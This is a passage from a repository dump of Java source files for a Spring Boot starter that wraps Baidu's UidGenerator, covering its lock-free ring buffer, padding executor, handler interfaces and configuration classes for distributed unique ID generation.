    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.buffer;\n\nimport io.github.wujun728.uidgenerator.utils.NamingThreadFactory;\nimport io.github.wujun728.uidgenerator.utils.PaddedAtomicLong;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.util.Assert;\n\nimport java.util.List;\nimport java.util.concurrent.ExecutorService;\nimport java.util.concurrent.Executors;\nimport java.util.concurrent.ScheduledExecutorService;\nimport java.util.concurrent.TimeUnit;\nimport java.util.concurrent.atomic.AtomicBoolean;\n\n/**\n * Represents an executor for padding {@link RingBuffer}<br>\n * There are two kinds of executors: one for scheduled padding, the other for padding immediately.\n * \n * \n */\npublic class BufferPaddingExecutor {\n    private static final Logger LOGGER = LoggerFactory.getLogger(RingBuffer.class);\n\n    /** Constants */\n    private static final String WORKER_NAME = \"RingBuffer-Padding-Worker\";\n    private static final String SCHEDULE_NAME = \"RingBuffer-Padding-Schedule\";\n    private static final long DEFAULT_SCHEDULE_INTERVAL = 5 * 60L; // 5 minutes\n    \n    /** Whether buffer padding is running */\n    private final AtomicBoolean running;\n\n    /** We can borrow UIDs from the future, here store the last second we have consumed */\n    private final PaddedAtomicLong lastSecond;\n\n    /** RingBuffer & BufferUidProvider */\n    private final RingBuffer ringBuffer;\n    private final BufferedUidProvider uidProvider;\n\n    /** Padding immediately by the thread pool */\n    private final ExecutorService bufferPadExecutors;\n    /** Padding schedule thread */\n    private final ScheduledExecutorService bufferPadSchedule;\n    \n    /** Schedule interval Unit as seconds */\n    private long scheduleInterval = DEFAULT_SCHEDULE_INTERVAL;\n\n    /**\n     * Constructor with {@link RingBuffer} and {@link BufferedUidProvider}, default use schedule\n     *\n     * @param ringBuffer {@link RingBuffer}\n     * @param uidProvider {@link BufferedUidProvider}\n     */\n    public BufferPaddingExecutor(RingBuffer ringBuffer, BufferedUidProvider uidProvider) {\n        this(ringBuffer, uidProvider, true);\n    }\n\n    /**\n     * Constructor with {@link RingBuffer}, {@link BufferedUidProvider}, and whether use schedule padding\n     *\n     * @param ringBuffer {@link RingBuffer}\n     * @param uidProvider {@link BufferedUidProvider}\n     * @param usingSchedule\n     */\n    public BufferPaddingExecutor(RingBuffer ringBuffer, BufferedUidProvider uidProvider, boolean usingSchedule) {\n        this.running = new AtomicBoolean(false);\n        this.lastSecond = new PaddedAtomicLong(TimeUnit.MILLISECONDS.toSeconds(System.currentTimeMillis()));\n        this.ringBuffer = ringBuffer;\n        this.uidProvider = uidProvider;\n\n        // initialize thread pool\n        int cores = Runtime.getRuntime().availableProcessors();\n        bufferPadExecutors = Executors.newFixedThreadPool(cores * 2, new NamingThreadFactory(WORKER_NAME));\n\n        // initialize schedule thread\n        if (usingSchedule) {\n            bufferPadSchedule = Executors.newSingleThreadScheduledExecutor(new NamingThreadFactory(SCHEDULE_NAME));\n        } else {\n            bufferPadSchedule = null;\n        }\n    }\n\n    /**\n     * Start executors such as schedule\n     */\n    public void start() {\n        if (bufferPadSchedule != null) {\n            bufferPadSchedule.scheduleWithFixedDelay(() -> paddingBuffer(), scheduleInterval, scheduleInterval, TimeUnit.SECONDS);\n        }\n    }\n\n    /**\n     * Shutdown executors\n     */\n    public void shutdown() {\n        if (!bufferPadExecutors.isShutdown()) {\n            bufferPadExecutors.shutdownNow();\n        }\n\n        if (bufferPadSchedule != null && !bufferPadSchedule.isShutdown()) {\n            bufferPadSchedule.shutdownNow();\n        }\n    }\n\n    /**\n     * Whether is padding\n     *\n     * @return\n     */\n    public boolean isRunning() {\n        return running.get();\n    }\n\n    /**\n     * Padding buffer in the thread pool\n     */\n    public void asyncPadding() {\n        bufferPadExecutors.submit(this::paddingBuffer);\n    }\n\n    /**\n     * Padding buffer fill the slots until to catch the cursor\n     */\n    public void paddingBuffer() {\n        LOGGER.info(\"Ready to padding buffer lastSecond:{}. {}\", lastSecond.get(), ringBuffer);\n\n        // is still running\n        if (!running.compareAndSet(false, true)) {\n            LOGGER.info(\"Padding buffer is still running. {}\", ringBuffer);\n            return;\n        }\n\n        // fill the rest slots until to catch the cursor\n        boolean isFullRingBuffer = false;\n        while (!isFullRingBuffer) {\n            List<Long> uidList = uidProvider.provide(lastSecond.incrementAndGet());\n            for (Long uid : uidList) {\n                isFullRingBuffer = !ringBuffer.put(uid);\n                if (isFullRingBuffer) {\n                    break;\n                }\n            }\n        }\n\n        // not running now\n        running.compareAndSet(true, false);\n        LOGGER.info(\"End to padding buffer lastSecond:{}. {}\", lastSecond.get(), ringBuffer);\n    }\n\n    /**\n     * Setters\n     */\n    public void setScheduleInterval(long scheduleInterval) {\n        Assert.isTrue(scheduleInterval > 0, \"Schedule interval must positive!\");\n        this.scheduleInterval = scheduleInterval;\n    }\n    \n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/buffer/BufferedUidProvider.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.buffer;\n\nimport java.util.List;\n\n/**\n * Buffered UID provider(Lambda supported), which provides UID in the same one second\n * \n * \n */\n@FunctionalInterface\npublic interface BufferedUidProvider {\n\n    /**\n     * Provides UID in one second\n     * \n     * @param momentInSecond\n     * @return\n     */\n    List<Long> provide(long momentInSecond);\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/buffer/RejectedPutBufferHandler.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.buffer;\n\n/**\n * If tail catches the cursor it means that the ring buffer is full, any more buffer put request will be rejected.\n * Specify the policy to handle the reject. This is a Lambda supported interface\n * \n * \n */\n@FunctionalInterface\npublic interface RejectedPutBufferHandler {\n\n    /**\n     * Reject put buffer request\n     * \n     * @param ringBuffer\n     * @param uid\n     */\n    void rejectPutBuffer(RingBuffer ringBuffer, long uid);\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/buffer/RejectedTakeBufferHandler.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.buffer;\n\n/**\n * If cursor catches the tail it means that the ring buffer is empty, any more buffer take request will be rejected.\n * Specify the policy to handle the reject. This is a Lambda supported interface\n * \n * \n */\n@FunctionalInterface\npublic interface RejectedTakeBufferHandler {\n\n    /**\n     * Reject take buffer request\n     * \n     * @param ringBuffer\n     */\n    void rejectTakeBuffer(RingBuffer ringBuffer);\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/buffer/RingBuffer.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.buffer;\n\nimport io.github.wujun728.uidgenerator.utils.PaddedAtomicLong;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.util.Assert;\n\nimport java.util.concurrent.atomic.AtomicLong;\n\n/**\n * Represents a ring buffer based on array.<br>\n * Using array could improve read element performance due to the CUP cache line. To prevent \n * the side effect of False Sharing, {@link PaddedAtomicLong} is using on 'tail' and 'cursor'<p>\n * \n * A ring buffer is consisted of:\n * <li><b>slots:</b> each element of the array is a slot, which is be set with a UID\n * <li><b>flags:</b> flag array corresponding the same index with the slots, indicates whether can take or put slot\n * <li><b>tail:</b> a sequence of the max slot position to produce \n * <li><b>cursor:</b> a sequence of the min slot position to consume\n * \n * \n */\npublic class RingBuffer {\n    private static final Logger LOGGER = LoggerFactory.getLogger(RingBuffer.class);\n\n    /** Constants */\n    private static final int START_POINT = -1;\n    private static final long CAN_PUT_FLAG = 0L;\n    private static final long CAN_TAKE_FLAG = 1L;\n    public static final int DEFAULT_PADDING_PERCENT = 50;\n\n    /** The size of RingBuffer's slots, each slot hold a UID */\n    private final int bufferSize;\n    private final long indexMask;\n    private final long[] slots;\n    private final PaddedAtomicLong[] flags;\n\n    /** Tail: last position sequence to produce */\n    private final AtomicLong tail = new PaddedAtomicLong(START_POINT);\n\n    /** Cursor: current position sequence to consume */\n    private final AtomicLong cursor = new PaddedAtomicLong(START_POINT);\n\n    /** Threshold for trigger padding buffer*/\n    private final int paddingThreshold; \n    \n    /** Reject put/take buffer handle policy */\n    private RejectedPutBufferHandler rejectedPutHandler = this::discardPutBuffer;\n    private RejectedTakeBufferHandler rejectedTakeHandler = this::exceptionRejectedTakeBuffer; \n    \n    /** Executor of padding buffer */\n    private BufferPaddingExecutor bufferPaddingExecutor;\n\n    /**\n     * Constructor with buffer size, paddingFactor default as {@value #DEFAULT_PADDING_PERCENT}\n     * \n     * @param bufferSize must be positive & a power of 2\n     */\n    public RingBuffer(int bufferSize) {\n        this(bufferSize, DEFAULT_PADDING_PERCENT);\n    }\n    \n    /**\n     * Constructor with buffer size & padding factor\n     * \n     * @param bufferSize must be positive & a power of 2\n     * @param paddingFactor percent in (0 - 100). When the count of rest available UIDs reach the threshold, it will trigger padding buffer<br>\n     *        Sample: paddingFactor=20, bufferSize=1000 -> threshold=1000 * 20 /100,  \n     *        padding buffer will be triggered when tail-cursor<threshold\n     */\n    public RingBuffer(int bufferSize, int paddingFactor) {\n        // check buffer size is positive & a power of 2; padding factor in (0, 100)\n        Assert.isTrue(bufferSize > 0L, \"RingBuffer size must be positive\");\n        Assert.isTrue(Integer.bitCount(bufferSize) == 1, \"RingBuffer size must be a power of 2\");\n        Assert.isTrue(paddingFactor > 0 && paddingFactor < 100, \"RingBuffer size must be positive\");\n\n        this.bufferSize = bufferSize;\n        this.indexMask = bufferSize - 1;\n        this.slots = new long[bufferSize];\n        this.flags = initFlags(bufferSize);\n        \n        this.paddingThreshold = bufferSize * paddingFactor / 100;\n    }\n\n    /**\n     * Put an UID in the ring & tail moved<br>\n     * We use 'synchronized' to guarantee the UID fill in slot & publish new tail sequence as atomic operations<br>\n     * \n     * <b>Note that: </b> It is recommended to put UID in a serialize way, cause we once batch generate a series UIDs and put\n     * the one by one into the buffer, so it is unnecessary put in multi-threads\n     *\n     * @param uid\n     * @return false means that the buffer is full, apply {@link RejectedPutBufferHandler}\n     */\n    public synchronized boolean put(long uid) {\n        long currentTail = tail.get();\n        long currentCursor = cursor.get();\n\n        // tail catches the cursor, means that you can't put any cause of RingBuffer is full\n        long distance = currentTail - (currentCursor == START_POINT ? 0 : currentCursor);\n        if (distance == bufferSize - 1) {\n            rejectedPutHandler.rejectPutBuffer(this, uid);\n            return false;\n        }\n\n        // 1. pre-check whether the flag is CAN_PUT_FLAG\n        int nextTailIndex = calSlotIndex(currentTail + 1);\n        if (flags[nextTailIndex].get() != CAN_PUT_FLAG) {\n            rejectedPutHandler.rejectPutBuffer(this, uid);\n            return false;\n        }\n\n        // 2. put UID in the next slot\n        // 3. update next slot' flag to CAN_TAKE_FLAG\n        // 4. publish tail with sequence increase by one\n        slots[nextTailIndex] = uid;\n        flags[nextTailIndex].set(CAN_TAKE_FLAG);\n        tail.incrementAndGet();\n\n        // The atomicity of operations above, guarantees by 'synchronized'. In another word,\n        // the take operation can't consume the UID we just put, until the tail is published(tail.incrementAndGet())\n        return true;\n    }\n\n    /**\n     * Take an UID of the ring at the next cursor, this is a lock free operation by using atomic cursor<p>\n     * \n     * Before getting the UID, we also check whether reach the padding threshold, \n     * the padding buffer operation will be triggered in another thread<br>\n     * If there is no more available UID to be taken, the specified {@link RejectedTakeBufferHandler} will be applied<br>\n     * \n     * @return UID\n     * @throws IllegalStateException if the cursor moved back\n     */\n    public long take() {\n        // spin get next available cursor\n        long currentCursor = cursor.get();\n        long nextCursor = cursor.updateAndGet(old -> old == tail.get() ? old : old + 1);\n\n        // check for safety consideration, it never occurs\n        Assert.isTrue(nextCursor >= currentCursor, \"Curosr can't move back\");\n\n        // trigger padding in an async-mode if reach the threshold\n        long currentTail = tail.get();\n        if (currentTail - nextCursor < paddingThreshold) {\n            LOGGER.info(\"Reach the padding threshold:{}. tail:{}, cursor:{}, rest:{}\", paddingThreshold, currentTail,\n                    nextCursor, currentTail - nextCursor);\n            bufferPaddingExecutor.asyncPadding();\n        }\n\n        // cursor catch the tail, means that there is no more available UID to take\n        if (nextCursor == currentCursor) {\n            rejectedTakeHandler.rejectTakeBuffer(this);\n        }\n\n        // 1. check next slot flag is CAN_TAKE_FLAG\n        int nextCursorIndex = calSlotIndex(nextCursor);\n        Assert.isTrue(flags[nextCursorIndex].get() == CAN_TAKE_FLAG, \"Curosr not in can take status\");\n\n        // 2. get UID from next slot\n        // 3. set next slot flag as CAN_PUT_FLAG.\n        long uid = slots[nextCursorIndex];\n        flags[nextCursorIndex].set(CAN_PUT_FLAG);\n\n        // Note that: Step 2,3 can not swap. If we set flag before get value of slot, the producer may overwrite the\n        // slot with a new UID, and this may cause the consumer take the UID twice after walk a round the ring\n        return uid;\n    }\n\n    /**\n     * Calculate slot index with the slot sequence (sequence % bufferSize) \n     */\n    protected int calSlotIndex(long sequence) {\n        return (int) (sequence & indexMask);\n    }\n\n    /**\n     * Discard policy for {@link RejectedPutBufferHandler}, we just do logging\n     */\n    protected void discardPutBuffer(RingBuffer ringBuffer, long uid) {\n        LOGGER.warn(\"Rejected putting buffer for uid:{}. {}\", uid, ringBuffer);\n    }\n    \n    /**\n     * Policy for {@link RejectedTakeBufferHandler}, throws {@link RuntimeException} after logging \n     */\n    protected void exceptionRejectedTakeBuffer(RingBuffer ringBuffer) {\n        LOGGER.warn(\"Rejected take buffer. {}\", ringBuffer);\n        throw new RuntimeException(\"Rejected take buffer. \" + ringBuffer);\n    }\n    \n    /**\n     * Initialize flags as CAN_PUT_FLAG\n     */\n    private PaddedAtomicLong[] initFlags(int bufferSize) {\n        PaddedAtomicLong[] flags = new PaddedAtomicLong[bufferSize];\n        for (int i = 0; i < bufferSize; i++) {\n            flags[i] = new PaddedAtomicLong(CAN_PUT_FLAG);\n        }\n        \n        return flags;\n    }\n\n    /**\n     * Getters\n     */\n    public long getTail() {\n        return tail.get();\n    }\n\n    public long getCursor() {\n        return cursor.get();\n    }\n\n    public int getBufferSize() {\n        return bufferSize;\n    }\n\n    /**\n     * Setters\n     */\n    public void setBufferPaddingExecutor(BufferPaddingExecutor bufferPaddingExecutor) {\n        this.bufferPaddingExecutor = bufferPaddingExecutor;\n    }\n\n    public void setRejectedPutHandler(RejectedPutBufferHandler rejectedPutHandler) {\n        this.rejectedPutHandler = rejectedPutHandler;\n    }\n\n    public void setRejectedTakeHandler(RejectedTakeBufferHandler rejectedTakeHandler) {\n        this.rejectedTakeHandler = rejectedTakeHandler;\n    }\n\n    @Override\n    public String toString() {\n        StringBuilder builder = new StringBuilder();\n        builder.append(\"RingBuffer [bufferSize=\").append(bufferSize)\n               .append(\", tail=\").append(tail)\n               .append(\", cursor=\").append(cursor)\n               .append(\", paddingThreshold=\").append(paddingThreshold).append(\"]\");\n        \n        return builder.toString();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/config/UidAutoConfig.java",
    "content": "package io.github.wujun728.uidgenerator.config;\n\nimport cn.hutool.core.lang.ClassScanner;\nimport cn.hutool.core.text.NamingCase;\nimport cn.hutool.core.util.StrUtil;\nimport org.springframework.beans.BeansException;\nimport org.springframework.beans.factory.InitializingBean;\nimport org.springframework.beans.factory.config.BeanDefinition;\nimport org.springframework.beans.factory.support.BeanDefinitionBuilder;\nimport org.springframework.beans.factory.support.BeanDefinitionRegistry;\nimport org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ApplicationContextAware;\nimport org.springframework.context.ConfigurableApplicationContext;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.stereotype.Component;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.stereotype.Repository;\nimport org.springframework.stereotype.Service;\n\nimport javax.script.ScriptEngineManager;\nimport java.util.Arrays;\nimport java.util.List;\nimport java.util.Set;\n\n@Configuration\n@ComponentScan(basePackages = \"io.github.wujun728.uidgenerator\")\npublic class UidAutoConfig  implements ApplicationContextAware, InitializingBean {\n\tprivate ConfigurableApplicationContext applicationContext;\n\n\tprivate BeanDefinitionRegistry registry;\n\n\t/**\n\t * //以下五个的结果都是为spring容器为这个类创建Bean.\n\t * @Bean 注解告诉Spring这个方法将会返回一个对象，这个对象要注册为Spring应用上下文中的bean。 通常方法体中包含了最终产生bean实例的逻辑\n\t * @Component 注解表明一个类会作为组件类，并告知Spring要为这个类创建bean\n\t * @return\n\t */\n\tList<Class> annotationClasss = Arrays.asList(Configuration.class,/*Mapper.class,*/ Service.class, Component.class, Repository.class, Controller.class,ConfigurationProperties.class);\n\t@Override\n\tpublic void afterPropertiesSet() throws Exception {\n\t\tannotationClasss.forEach(clazz->{\n\t\t\tSet<Class<?>> mappers = ClassScanner.scanPackageByAnnotation(\"io.github.wujun728.uidgenerator\", clazz);\n\t\t\tmappers.forEach(c->{\n\t\t\t\tString beanName = NamingCase.toCamelCase(c.getSimpleName());\n\t\t\t\tbeanName = StrUtil.lowerFirst(beanName);\n\t\t\t\tif(!applicationContext.containsBean(beanName) && !applicationContext.containsBeanDefinition(beanName) ){\n\t\t\t\t\tregisterBean(beanName,c);\n\t\t\t\t}\n\t\t\t});\n\t\t});\n\t\t//applicationContext.refresh();\n\t}\n\n\t@Override\n\tpublic void setApplicationContext(ApplicationContext applicationContext) throws BeansException {\n\t\tthis.applicationContext = (ConfigurableApplicationContext) applicationContext;\n\t}\n\n\tpublic void registerBean(String beanName, Class clazz) {\n\t\tthis.registry = (BeanDefinitionRegistry) applicationContext.getAutowireCapableBeanFactory();\n\t\tBeanDefinitionBuilder builder = BeanDefinitionBuilder.genericBeanDefinition(clazz);\n\t\tBeanDefinition beanDefinition = builder.getBeanDefinition();\n\t\tregistry.registerBeanDefinition(beanName, beanDefinition);\n\t}\n\n\t@Bean\n\t@ConditionalOnMissingBean\n\tpublic ScriptEngineManager scriptEngineManager() {\n\t\treturn new ScriptEngineManager();\n\t}\n\n}"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/config/UidDbConfiguration.java",
    "content": "//package io.github.wujun728.uidgenerator.config;\n//\n//import io.github.wujun728.uidgenerator.worker.repository.DbWorkerNodeResposity;\n//import io.github.wujun728.uidgenerator.worker.repository.WorkerNodeResposity;\n//import com.zaxxer.hikari.HikariDataSource;\n//import org.apache.commons.lang.StringUtils;\n//import org.springframework.beans.factory.ObjectProvider;\n//import org.springframework.beans.factory.annotation.Value;\n//import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;\n//import org.springframework.context.annotation.Bean;\n//import org.springframework.context.annotation.Configuration;\n//import org.springframework.context.annotation.Primary;\n//import org.springframework.jdbc.core.JdbcTemplate;\n//import org.springframework.stereotype.Component;\n//\n//import javax.sql.DataSource;\n//\n//@Configuration\n//@Component\n//public class UidDbConfiguration {\n//    @Value(\"${spring.datasource.driver-class-name:}\")\n//    private String driverClassName;\n//    @Value(\"${spring.datasource.url:}\")\n//    private String url;\n//    @Value(\"${spring.datasource.username:}\")\n//    private String username;\n//    @Value(\"${spring.datasource.password:}\")\n//    private String password;\n//\n//    @Bean\n//    @ConditionalOnMissingBean(WorkerNodeResposity.class)\n//    public WorkerNodeResposity workerNodeResposity(ObjectProvider<DataSource> dataSourcePvd) {\n//        DataSource dataSource = null;\n//        if (StringUtils.isNotBlank(this.driverClassName) &&\n//            StringUtils.isNotBlank(this.url) &&\n//            StringUtils.isNotBlank(this.username) &&\n//            StringUtils.isNotBlank(this.password)) {\n//\n//            HikariDataSource hds = new HikariDataSource();\n//            hds.setDriverClassName(this.driverClassName);\n//            hds.setJdbcUrl(this.url);\n//            hds.setUsername(this.username);\n//            hds.setPassword(this.password);\n//            dataSource = hds;\n//        } else {\n//            dataSource = dataSourcePvd.getIfAvailable();\n//        }\n//\n//        JdbcTemplate jdbcTemplate = new JdbcTemplate(dataSource);\n//        return new DbWorkerNodeResposity(jdbcTemplate);\n//    }\n//}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/config/UidGeneratorConfig.java",
    "content": "package io.github.wujun728.uidgenerator.config;\n\nimport io.github.wujun728.uidgenerator.UidGenerator;\nimport io.github.wujun728.uidgenerator.impl.CachedUidGenerator;\nimport io.github.wujun728.uidgenerator.impl.DefaultUidGenerator;\nimport io.github.wujun728.uidgenerator.worker.WorkerIdAssigner;\nimport org.apache.commons.lang.StringUtils;\nimport org.springframework.boot.context.properties.EnableConfigurationProperties;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.Import;\n\nimport javax.annotation.Resource;\n\n@Configuration\n//@Import({UidGeneratorProperties.class, UidGenerator.class, CachedUidGenerator.class, DefaultUidGenerator.class, UidDbConfiguration.class,})\n@ComponentScan(basePackages = {\"io.github.wujun728.uidgenerator\"})\n@EnableConfigurationProperties(UidGeneratorProperties.class)\npublic class UidGeneratorConfig {\n\n    @Resource\n    UidGeneratorProperties uidGeneratorProperties;\n\n    @Bean\n    public CachedUidGenerator cachedUidGenerator(WorkerIdAssigner disposableWorkerIdAssigner) {\n        CachedUidGenerator cachedUidGenerator = new CachedUidGenerator();\n        cachedUidGenerator.setWorkerIdAssigner(disposableWorkerIdAssigner);\n        setBaseProp(cachedUidGenerator);\n        setCachedProp(cachedUidGenerator);\n        return cachedUidGenerator;\n    }\n\n    void setBaseProp(DefaultUidGenerator defaultUidGenerator) {\n        if (uidGeneratorProperties == null) return;\n        if (uidGeneratorProperties.getTimeBits() != null) defaultUidGenerator.setTimeBits(uidGeneratorProperties.getTimeBits());\n        if (uidGeneratorProperties.getWorkerBits() != null) defaultUidGenerator.setWorkerBits(uidGeneratorProperties.getWorkerBits());\n        if (uidGeneratorProperties.getSeqBits() != null) defaultUidGenerator.setSeqBits(uidGeneratorProperties.getSeqBits());\n        if (StringUtils.isNotBlank(uidGeneratorProperties.getEpochStr())) defaultUidGenerator.setEpochStr(uidGeneratorProperties.getEpochStr());\n    }\n    void setCachedProp(CachedUidGenerator cachedUidGenerator) {\n        if (uidGeneratorProperties == null) return;\n        if (uidGeneratorProperties.getBoostPower() != null) cachedUidGenerator.setBoostPower(uidGeneratorProperties.getBoostPower());\n        if (uidGeneratorProperties.getScheduleInterval() != null) cachedUidGenerator.setScheduleInterval(uidGeneratorProperties.getScheduleInterval());\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/config/UidGeneratorProperties.java",
    "content": "package io.github.wujun728.uidgenerator.config;\n\nimport lombok.Data;\nimport org.springframework.boot.context.properties.ConfigurationProperties;\n\n@Data\n@ConfigurationProperties(prefix = \"uid.gen\")\npublic class UidGeneratorProperties {\n\n    //相对于时间基点\"2016-05-20\"的增量值，单位：秒，可使用的时间为2^timeBis 秒例如：timeBits=30，则可使用230秒，约34年，timeBits=31，则可使用231秒，约68年\n    private Integer timeBits;\n\n    //机器id，最多可支持2^22约420w次机器启动。内置实现为在启动时由数据库分配，默认分配策略为用后即弃，每次启动都会重新生成一批ID，因此重启次数也是会有限制的，后续可提供复用策略。\n    private Integer workerBits;\n\n    //每秒下的并发序列，9 bits可支持每台服务器每秒512个并发。\n    private Integer seqBits;\n\n    //指集成UidGenerator生成分布式ID服务第一次上线的时间，可配置，也一定要根据你的上线时间进行配置，因为默认的epoch时间可是2016-09-20，不配置的话，会浪费好几年的可用时间。\n    private String epochStr;\n\n    //RingBuffer size扩容参数, 可提高UID生成的吞吐量默认:3， 原bufferSize=8192, 扩容后bufferSize= 8192 << 3 = 65536\n    private Integer boostPower;\n\n    //另外一种RingBuffer填充时机, 在Schedule线程中, 周期性检查填充默认:不配置此项, 即不实用Schedule线程. 如需使用, 请指定Schedule线程时间间隔, 单位:秒\n    private Long scheduleInterval;\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/exception/UidGenerateException.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.exception;\n\n/**\n * UidGenerateException\n * \n * \n */\npublic class UidGenerateException extends RuntimeException {\n\n    /**\n     * Serial Version UID\n     */\n    private static final long serialVersionUID = -27048199131316992L;\n\n    /**\n     * Default constructor\n     */\n    public UidGenerateException() {\n        super();\n    }\n\n    /**\n     * Constructor with message & cause\n     * \n     * @param message\n     * @param cause\n     */\n    public UidGenerateException(String message, Throwable cause) {\n        super(message, cause);\n    }\n\n    /**\n     * Constructor with message\n     * \n     * @param message\n     */\n    public UidGenerateException(String message) {\n        super(message);\n    }\n    \n    /**\n     * Constructor with message format\n     * \n     * @param msgFormat\n     * @param args\n     */\n    public UidGenerateException(String msgFormat, Object... args) {\n        super(String.format(msgFormat, args));\n    }\n\n    /**\n     * Constructor with cause\n     * \n     * @param cause\n     */\n    public UidGenerateException(Throwable cause) {\n        super(cause);\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-uidgenerator-spring-boot-starter/src/main/java/io/github/wujun728/uidgenerator/impl/CachedUidGenerator.java",
    "content": "/*\n * Copyright (c) 2017 Baidu, Inc. All Rights Reserve.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage io.github.wujun728.uidgenerator.impl;\n\nimport io.github.wujun728.uidgenerator.BitsAllocator;\nimport io.github.wujun728.uidgenerator.UidGenerator;\nimport io.github.wujun728.uidgenerator.buffer.BufferPaddingExecutor;\nimport io.github.wujun728.uidgenerator.buffer.RejectedPutBufferHandler;\nimport io.github.wujun728.uidgenerator.buffer.RejectedTakeBufferHandler;\nimport io.github.wujun728.uidgenerator.buffer.RingBuffer;\nimport io.github.wujun728.uidgenerator.exception.UidGenerateException;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.beans.factory.DisposableBean;\nimport org.springframework.util.Assert;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Represents a cached implementation of {@link UidGenerator} extends\n * from {@link DefaultUidGenerator}, based on a lock free {@link RingBuffer}<p>\n * \n * The spring properties you can specified as below:<br>\n * 